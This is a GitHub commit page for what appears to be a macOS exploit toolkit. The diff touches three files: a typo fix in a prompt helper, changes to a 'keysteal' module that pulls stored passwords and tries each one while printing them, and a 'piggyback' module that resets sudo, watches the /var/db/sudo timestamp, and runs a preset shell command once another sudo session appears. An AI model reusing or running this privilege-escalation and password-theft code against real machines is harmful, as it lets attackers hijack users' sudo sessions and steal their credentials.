Skip to content

Commit

Permalink
typos
Browse files Browse the repository at this point in the history
  • Loading branch information
thehappydinoa committed Jul 16, 2019
1 parent 9f04f25 commit 3ce33ca
Show file tree
Hide file tree
Showing 3 changed files with 16 additions and 13 deletions.
2 changes: 1 addition & 1 deletion exploits/general.py
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,7 @@ def default_browser():

def interaction_prompt(prompt):
""""""
return input("\n[USER INTERACTION] {prompt} (y/N): ".fomrat(prompt=prompt))[0].lower() == "y"
return input("\n[USER INTERACTION] {prompt} (y/N): ".format(prompt=prompt))[0].lower() == "y"


def app_installed(app_name):
Expand Down
12 changes: 8 additions & 4 deletions exploits/keysteal.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,8 +8,8 @@
import re
from distutils.version import LooseVersion

from .general import (DEFAULT_COMMAND, USER, get_values, osascript,
random_string, try_password)
from .general import (DEFAULT_COMMAND, USER, get_values, interaction_prompt,
osascript, random_string, try_password)

try:
from json.decoder import JSONDecodeError
Expand Down Expand Up @@ -37,7 +37,7 @@ def read_passwords(text):
try:
if base64.b64encode(base64.b64decode(password)) == password:
password = base64.b64decode(password)
except binascii.Error:
except (TypeError, binascii.Error):
pass

password = str(password).strip()
Expand Down Expand Up @@ -76,6 +76,8 @@ def run():

passwords = read_passwords(response)

print(passwords)

print("\nTrying passwords...\n")

real_password = None
Expand All @@ -84,7 +86,9 @@ def run():
try:
print(" Trying: {password}".format(password=password), end="\r")
valid = try_password(password)
except Exception:
except Exception as e:
print(type(e))
print(str(e))
continue
if valid:
real_password = password
Expand Down
15 changes: 7 additions & 8 deletions exploits/piggyback.py
Original file line number Diff line number Diff line change
@@ -1,10 +1,10 @@
"""piggybacks off a sudo command"""
import os
import subprocess
import os.path
import time
from distutils.version import LooseVersion
from subprocess import CalledProcessError, call

from .general import DEFAULT_COMMAND
from .general import DEFAULT_COMMAND, interaction_prompt

__cve__ = ""
__credits__ = "n00py"
Expand All @@ -13,23 +13,22 @@
def vulnerable(version):
"""checks vulnerability"""
if version < LooseVersion("10.13.0"):
return input("[USER INTERACTION] Do you want to piggyback off sudo (waits until sudo is used)? (y/N): ")[0].lower() == "y"
return interaction_prompt("Do you want to piggyback off sudo (waits until sudo is used)?")
return


def run():
"""runs exploit"""
sudo_dir = "/var/db/sudo"
subprocess.call(['sudo -K'], shell=True)
call(['sudo -K'], shell=True)
old_time = time.ctime(os.path.getmtime(sudo_dir))
exit_loop = False
while exit_loop is False:
new_time = time.ctime(os.path.getmtime(sudo_dir))
if old_time != new_time:
try:
subprocess.call(
[DEFAULT_COMMAND], shell=True)
call([DEFAULT_COMMAND], shell=True)
exit_loop = True
except (OSError, subprocess.CalledProcessError):
except (OSError, CalledProcessError):
pass
return exit_loop

0 comments on commit 3ce33ca

Please sign in to comment.